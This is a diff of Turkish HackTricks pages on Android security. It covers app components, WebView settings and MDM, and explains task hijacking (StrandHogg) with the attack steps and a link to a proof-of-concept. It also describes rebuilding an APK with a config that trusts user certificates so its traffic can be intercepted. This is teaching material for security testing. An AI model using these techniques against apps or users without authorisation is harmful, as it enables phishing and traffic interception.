Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verisi alma gibi işlemleri kullanıcının bir uygulayla etkileşimini engellemeden gerçekleştirmektir. Ayrıca, hizmetler diğer işlemlerin aynı cihazda erişebilmesi için **dışa aktarılabilir**. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir: Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verileri getirme gibi işlemleri kullanıcının bir uygulayla etkileşimini engellemeden gerçekleştirmektir. Ayrıca, hizmetler diğer işlemlerin aynı cihazda erişebilmesi için **dışa aktarılabilir**. Bu varsayılan davranış değildir ve Android Manifest dosyasında açıkça yapılandırma gerektirir:
```xml ```xml
<service android:name=".ExampleExportedService" android:exported="true"/> <service android:name=".ExampleExportedService" android:exported="true"/>
``` ```
@ -308,19 +308,19 @@ Hizmetlerin ilginç bir uygulaması, arka planda müzik çalma veya ağ verisi a
**Yayın alıcıları**, bir iletişim sisteminde dinleyici olarak hareket eder ve sistemden gelen aynı iletilere birden fazla uygulamanın yanıt vermesine olanak tanır. Bir uygulama bir yayın alıcısını **iki temel yol** ile **kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si aracılığıyla. Manifest dosyasında yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kayıt sırasında izinleri de belirtebilir. **Yayın alıcıları**, bir iletişim sisteminde dinleyici olarak hareket eder ve sistemden gelen aynı iletilere birden fazla uygulamanın yanıt vermesine olanak tanır. Bir uygulama bir yayın alıcısını **iki temel yol** ile **kaydedebilir**: uygulamanın **Manifest** dosyası aracılığıyla veya uygulamanın kodu içinde **dinamik olarak** **`registerReceiver`** API'si aracılığıyla. Manifest dosyasında yayınlar izinlerle filtrelenirken, dinamik olarak kaydedilen alıcılar kayıt sırasında izinleri de belirtebilir.
**Intent filtreleri**, kayıt yöntemlerinde de önemli olup, alıcının hangi yayınların alınacağını belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın buna uygun şekilde tepki vermesini sağlar, örneğin, düşük pil uyarısına yanıt olarak davranışı ayarlar. **Intent filtreleri**, kayıt yöntemlerinde de önemlidir ve alıcının hangi yayınları tetiklediğini belirler. Eşleşen bir yayın gönderildiğinde, alıcının **`onReceive`** yöntemi çağrılır ve uygulamanın buna uygun şekilde tepki vermesini sağlar, örneğin, düşük pil uyarısına yanıt olarak davranışı ayarlar.
Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar belirlenen önceliklere göre yayını alır. Ancak, herhangi bir uygulamanın bir yayını ele geçirmek için kendisini önceliklendirebileceği potansiyel güvenlik riskini göz önünde bulundurmak önemlidir. Yayınlar ya **asenkron** olabilir, tüm alıcılara sırasız ulaşır, ya da **senkron** olabilir, burada alıcılar önceliklere göre yayına ulaşırlar. Ancak, herhangi bir uygulamanın bir yayını ele geçirmek için kendisini önceliklendirebileceği potansiyel güvenlik riskini göz önünde bulundurmak önemlidir.
Bir alıcının işlevselliğini anlamak için, sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i manipüle edebilir, bu da alıcılar tarafından veri doğrulamasının gerekliliğini vurgular, özellikle de Intent'i değiştirebilen veya bırakabilen **Sıralı Yayınlar** için. Bir alıcının işlevselliğini anlamak için, sınıfındaki **`onReceive`** yöntemini arayın. Bu yöntemin kodu alınan Intent'i manipüle edebilir, özellikle **Sıralı Yayınlar** içinde, alınan Intent'i değiştirebilir veya düşürebileceği için alıcılar tarafından veri doğrulamasının gerekliliğini vurgular.
### İçerik Sağlayıcı ### İçerik Sağlayıcı
**İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış veri paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. Bu, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veriye erişim sağlar. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanarak uygulamanın manifestindeki **`grantUriPermission`** ayarları aracılığıyla verilebilir. **İçerik Sağlayıcılar**, uygulamalar arasında **yapılandırılmış veri paylaşımı** için önemlidir ve veri güvenliğini sağlamak için **izinlerin** uygulanmasının önemini vurgular. İçerik Sağlayıcılar, veritabanları, dosya sistemleri veya web gibi çeşitli kaynaklardan veri erişimine olanak tanır. **`readPermission`** ve **`writePermission`** gibi belirli izinler, erişimi kontrol etmek için önemlidir. Ayrıca, geçici erişim, uygulamanın manifestindeki **`grantUriPermission`** ayarları aracılığıyla sağlanabilir ve ayrıntılı erişim kontrolü için `path`, `pathPrefix` ve `pathPattern` gibi özellikleri kullanır.
SQL enjeksiyonu gibi güvenlik açıklarını önlemek için giriş doğrulaması son derece önemlidir. İçerik Sağlayıcılar, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır. Güvenlik açıklarını önlemek için giriş doğrulaması çok önemlidir, örneğin SQL enjeksiyonu. İçerik Sağlayıcılar, `insert()`, `update()`, `delete()` ve `query()` gibi temel işlemleri destekler, veri manipülasyonunu ve uygulamalar arasında paylaşımı kolaylaştırır.
**FileProvider**, güvenli bir şekilde dosya paylaşımına odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır ve `android:exported` ve `android:resource` ile klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir. **FileProvider**, güvenli bir şekilde dosyaları paylaşmaya odaklanan özel bir İçerik Sağlayıcıdır. Klasör erişimini kontrol etmek için belirli özelliklerle uygulamanın manifest dosyasında tanımlanır, `android:exported` ve `android:resource` ile klasör yapılandırmalarına işaret eder. Hassas verilerin yanlışlıkla açığa çıkarılmasını önlemek için dizinlerin paylaşımında dikkatli olunması önerilir.
FileProvider için örnek manifest bildirimi: FileProvider için örnek manifest bildirimi:
```xml ```xml
@ -338,43 +338,42 @@ Ve `filepaths.xml` dosyasında paylaşılan klasörleri belirtmenin bir örneği
<files-path path="images/" name="myimages" /> <files-path path="images/" name="myimages" />
</paths> </paths>
``` ```
- Daha fazla bilgi için şu kaynaklara bakabilirsiniz: - [Android Geliştiricileri: İçerik Sağlayıcılar](https://developer.android.com/guide/topics/providers/content-providers)
- [Android Geliştiriciler: İçerik Sağlayıcılar](https://developer.android.com/guide/topics/providers/content-providers) - [Android Geliştiricileri: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
- [Android Geliştiriciler: FileProvider](https://developer.android.com/training/secure-file-sharing/setup-sharing)
## WebViews ## WebViews
WebViews, Android uygulamaları içindeki **mini web tarayıcıları** gibidir, içeriği web'den veya yerel dosyalardan alırlar. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır. WebViews, Android uygulamalarının içinde **mini web tarayıcıları** gibi davranır, içeriği web'den veya yerel dosyalardan çeker. Bunlar normal tarayıcılar gibi benzer risklerle karşılaşırlar, ancak belirli **ayarlar** aracılığıyla bu riskleri **azaltmanın yolları** vardır.
Android, iki ana WebView türü sunar: Android, iki ana WebView türü sunar:
- **WebViewClient**, temel HTML için harikadır ancak JavaScript uyarı işlevini desteklemez, bu da XSS saldırılarının nasıl test edilebileceğini etkiler. - **WebViewClient** temel HTML için harikadır ancak JavaScript uyarı işlevini desteklemez, bu da XSS saldırılarının nasıl test edilebileceğini etkiler.
- **WebChromeClient**, tam Chrome tarayıcı deneyimine daha çok benzer. - **WebChromeClient** tam Chrome tarayıcı deneyimine daha çok benzer.
Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerezleri paylaşmamasıdır**. Önemli bir nokta, WebView tarayıcılarının cihazın ana tarayıcısıyla **çerezleri paylaşmamasıdır**.
İçerik yükleme için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **güvenli olduğundan emin olmak** önemlidir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, ````setJavaScriptEnabled(false)```` ile JavaScript devre dışı bırakılarak XSS saldırıları engellenebilir. İçerik yükleme için ````loadUrl````, ````loadData````, ve ````loadDataWithBaseURL```` gibi yöntemler mevcuttur. Bu URL'lerin veya dosyaların **güvenli olduğundan emin olmak** önemlidir. Güvenlik ayarları, ````WebSettings```` sınıfı aracılığıyla yönetilebilir. Örneğin, ````setJavaScriptEnabled(false)```` ile JavaScript devre dışı bırakılarak XSS saldırıları engellenebilir.
Java nesnelerinin JavaScript ile etkileşimini sağlayan JavaScript "Bridge", yöntemlerin Android 4.2'den itibaren güvenlik için ````@JavascriptInterface```` ile işaretlenmesini gerektirir. JavaScript "Bridge", Java nesnelerinin JavaScript ile etkileşimde bulunmasını sağlar ve yöntemlerin güvenliği için Android 4.2'den itibaren ````@JavascriptInterface```` ile işaretlenmesini gerektirir.
İçeriğe erişime izin vermek (````setAllowContentAccess(true)````), WebViews'in İçerik Sağlayıcılara ulaşmasına izin verir, ancak içerik URL'lerinin güvenli olduğu doğrulanmadıkça bir risk olabilir. İçeriğe erişime izin vermek (````setAllowContentAccess(true)````), WebViews'in İçerik Sağlayıcılara ulaşmasına izin verir, ancak içerik URL'lerinin güvenli olduğu doğrulanmadıkça bir risk olabilir.
Dosya erişimini kontrol etmek için: Dosya erişimini kontrol etmek için:
- Dosya erişiminin devre dışı bırakılması (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar, belirli varlıklar için istisnalar yaparak, bunların hassas olmayan içerikler için kullanıldığından emin olur. - Dosya erişimini devre dışı bırakmak (````setAllowFileAccess(false)````), dosya sistemine erişimi sınırlar ve belirli varlıklar için istisnalar yapar, böylece bunların hassas olmayan içerikler için kullanıldığından emin olur.
## Diğer Uygulama Bileşenleri ve Mobil Cihaz Yönetimi ## Diğer Uygulama Bileşenleri ve Mobil Cihaz Yönetimi
### **Uygulamaların Dijital İmzalanması** ### **Uygulamaların Dijital İmzalanması**
- Android uygulamaları için **dijital imzalama**, kurulumdan önce uygulamaların **gerçekten kimin tarafından yazıldığını** sağlamak için gereklidir. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendi kendine imzalanabilir veya harici bir CA tarafından onaylanabilir**, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslim edilirken değiştirilmediğinden emin olur. - Android uygulamaları için **dijital imzalama**, kurulumdan önce uygulamaların **gerçekten kimin tarafından yazıldığını** sağlar. Bu süreç, uygulama kimliği için bir sertifika kullanır ve kurulum sırasında cihazın paket yöneticisi tarafından doğrulanmalıdır. Uygulamalar **kendi kendine imzalanabilir veya harici bir CA tarafından onaylanabilir**, yetkisiz erişime karşı koruma sağlar ve uygulamanın cihaza teslim edilirken değiştirilmediğinden emin olur.
### **Gelişmiş Güvenlik için Uygulama Doğrulaması** ### **Gelişmiş Güvenlik için Uygulama Doğrulaması**
- **Android 4.2'den** itibaren, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü niyetli olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır. - **Android 4.2'den** itibaren başlayarak, **Uygulamaları Doğrula** adlı bir özellik, kullanıcıların uygulamaları kurulmadan önce güvenlik açısından kontrol etmelerine olanak tanır. Bu **doğrulama süreci**, kullanıcıları potansiyel olarak zararlı uygulamalar konusunda uyarabilir veya özellikle kötü amaçlı olanların kurulumunu engelleyebilir, kullanıcı güvenliğini artırır.
### **Mobil Cihaz Yönetimi (MDM)** ### **Mobil Cihaz Yönetimi (MDM)**
- **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gerektirir. Mobil cihazların etkili bir şekilde yönetilmesi ve güvence altına alınması için bir Android uygulamasının kurulmasını zorunlu kılar. Temel fonksiyonlar arasında **şifre politikalarının zorunlu kılınması**, **depolama şifrelemesinin zorunlu kılınması** ve **uzaktan veri silmeye izin verilmesi** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar. - **MDM çözümleri**, mobil cihazlar için **denetim ve güvenlik** sağlar ve **Cihaz Yönetimi API'si** aracılığıyla gerektirir. Mobil cihazları etkili bir şekilde yönetmek ve güvence altına almak için bir Android uygulamasının kurulmasını zorunlu kılar. Temel fonksiyonlar arasında **şifre politikalarını zorunlu kılma**, **depolama şifrelemesini zorunlu kılma** ve **uzaktan veri silmeye izin verme** bulunur, mobil cihazlar üzerinde kapsamlı kontrol ve güvenlik sağlar.
```java ```java
// Example of enforcing a password policy with MDM // Example of enforcing a password policy with MDM
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
@ -385,9 +384,9 @@ if (dpm.isAdminActive(adminComponent)) {
dpm.setPasswordMinimumLength(adminComponent, 8); dpm.setPasswordMinimumLength(adminComponent, 8);
} }
``` ```
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -397,10 +396,10 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun.**
</details> </details>

View file

@ -2,29 +2,29 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## Görev, Geri Yığın ve Ön Plandaki Etkinlikler ## Görev, Geri Yığın ve Ön Planda Olan Etkinlikler
Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu etkinlikler kümesidir ve bir **geri yığın** içinde düzenlenir. Bu yığın etkinlikleri açıldıkları sıraya göre sıralar ve en son etkinliği **ön plandaki etkinlik** olarak en üstte görüntüler. Her an ekranda sadece bu etkinlik görünür, bu da onu **ön plandaki görevin** bir parçası yapar. Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak için etkileşimde bulunduğu etkinlikler kümesidir ve bir **geri yığın** içinde düzenlenir. Bu yığın etkinlikleri açıldıkları sıraya göre sıralar ve en son etkinliği **ön planda etkinlik** olarak en üstte görüntüler. Her an ekranda sadece bu etkinlik görünür, bu da onu **ön planda görev**in bir parçası yapar.
İşte etkinlik geçişlerinin hızlı bir açıklaması: İşte etkinlik geçişlerinin hızlı bir açıklaması:
@ -39,7 +39,7 @@ Android'de bir **görev** temelde kullanıcıların belirli bir işi tamamlamak
### Görev Uyumluluğu ve Başlatma Modlarının Genel Bakışı ### Görev Uyumluluğu ve Başlatma Modlarının Genel Bakışı
Android uygulamalarında, **görev uyumluluğu** bir etkinliğin tercih ettiği görevi belirtir ve genellikle uygulamanın paket adıyla uyumlu olur. Bu kurulum, saldırıyı göstermek için bir kanıt uygulaması oluşturmada önemlidir. Android uygulamalarında, **görev uyumluluğu** bir etkinliğin tercih edilen görevini belirler ve genellikle uygulamanın paket adıyla uyumlu olur. Bu kurulum, saldırıyı göstermek için bir konsept kanıt uygulaması oluşturmada önemlidir.
### Başlatma Modları ### Başlatma Modları
@ -50,8 +50,8 @@ Android uygulamalarında, **görev uyumluluğu** bir etkinliğin tercih ettiği
1. **Kötü Amaçlı Uygulama Kurulumu**: Kurban, saldırganın uygulamasını cihazına kurar. 1. **Kötü Amaçlı Uygulama Kurulumu**: Kurban, saldırganın uygulamasını cihazına kurar.
2. **İlk Aktivasyon**: Kurban önce kötü amaçlı uygulamayı açar ve cihazı saldırıya hazırlar. 2. **İlk Aktivasyon**: Kurban önce kötü amaçlı uygulamayı açar ve cihazı saldırıya hazırlar.
3. **Hedef Uygulama Başlatma Denemesi**: Kurban hedef uygulamayı açmaya çalışır. 3. **Hedef Uygulama Başlatma Denemesi**: Kurban hedef uygulamayı açmaya çalışır.
4. **Kaçırma Yürütme**: Eşleşen görev uyumluluğu nedeniyle, hedef uygulama yerine kötü amaçlı uygulama başlatılır. 4. **Kaçırma Yürütme**: Eşleşen görev uyumluluğu nedeniyle kötü amaçlı uygulama, hedef uygulamanın yerine başlatılır.
5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamayı andıran sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır. 5. **Aldatma**: Kötü amaçlı uygulama, hedef uygulamaya benzeyen sahte bir giriş ekranı sunarak kullanıcıyı hassas bilgileri girmeye kandırır.
Bu saldırının pratik bir uygulaması için GitHub'daki Task Hijacking Strandhogg deposuna başvurun: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg). Bu saldırının pratik bir uygulaması için GitHub'daki Task Hijacking Strandhogg deposuna başvurun: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg).
@ -66,20 +66,20 @@ Bu tür saldırıları önlemek için geliştiriciler `taskAffinity`'yi boş bir
**Try Hard Güvenlik Grubu** **Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com) * [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin. * **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek paylaşın.**
</details> </details>

View file

@ -1,26 +1,26 @@
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) **takip edin**. * **💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
**Try Hard Güvenlik Grubu** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları beğenmez, bu nedenle bazı uygulamaların web trafiğini incelemek için uygulamayı decompile etmeli ve birkaç şey eklemeli ve yeniden derlemelisiniz. Bazı uygulamalar kullanıcı tarafından indirilen sertifikaları beğenmez, bu nedenle bazı uygulamaların web trafiğini incelemek için aslında uygulamayı decompile etmeli ve birkaç şey eklemeli ve yeniden derlemeliyiz.
# Otomatik # Otomatik
@ -32,7 +32,7 @@ Araç [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shrouded
![](../../.gitbook/assets/img9.png) ![](../../.gitbook/assets/img9.png)
Daha sonra **Manifest.xml** dosyasına gideriz ve `<\application android>` etiketine gidip aşağı kaydırırız ve aşağıdaki satırı ekleyeceğiz (zaten yoksa): Daha sonra **Manifest.xml** dosyasına gideriz ve `<\application android>` etiketine gidip aşağıdaki satırı ekleyeceğiz (zaten yoksa):
`android:networkSecurityConfig="@xml/network_security_config` `android:networkSecurityConfig="@xml/network_security_config`
@ -44,7 +44,7 @@ Ekledikten sonra:
![](../../.gitbook/assets/img11.png) ![](../../.gitbook/assets/img11.png)
Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriğe sahip network\_security\_config.xml adında bir dosya oluşturun/değiştirin: Şimdi **res/xml** klasörüne gidin ve aşağıdaki içeriğe sahip network\_security\_config.xml adında bir dosya oluşturun/düzenleyin:
```markup ```markup
<network-security-config> <network-security-config>
<base-config> <base-config>
@ -57,4 +57,28 @@ Ekledikten sonra:
</base-config> </base-config>
</network-security-config> </network-security-config>
``` ```
Son olarak, yalnızca **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nasıl imzalayacağınızı öğrenmek için bu bölümü okuyun](smali-changes.md#sing-the-new-apk). Sonra dosyayı kaydedin ve tüm dizinlerden çıkın ve aşağıdaki komutla apk'yi yeniden oluşturun: `apktool b *dizin-adı/* -o *çıktı-dosyası.apk*`
![](../../.gitbook/assets/img12.png)
Son olarak, sadece **yeni uygulamayı imzalamanız** gerekmektedir. [Onu nasıl imzalayacağınızı öğrenmek için bu bölümü okuyun: Smali - Decompiling/\[Modifying\]/Compiling](smali-changes.md#sing-the-new-apk).
<details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
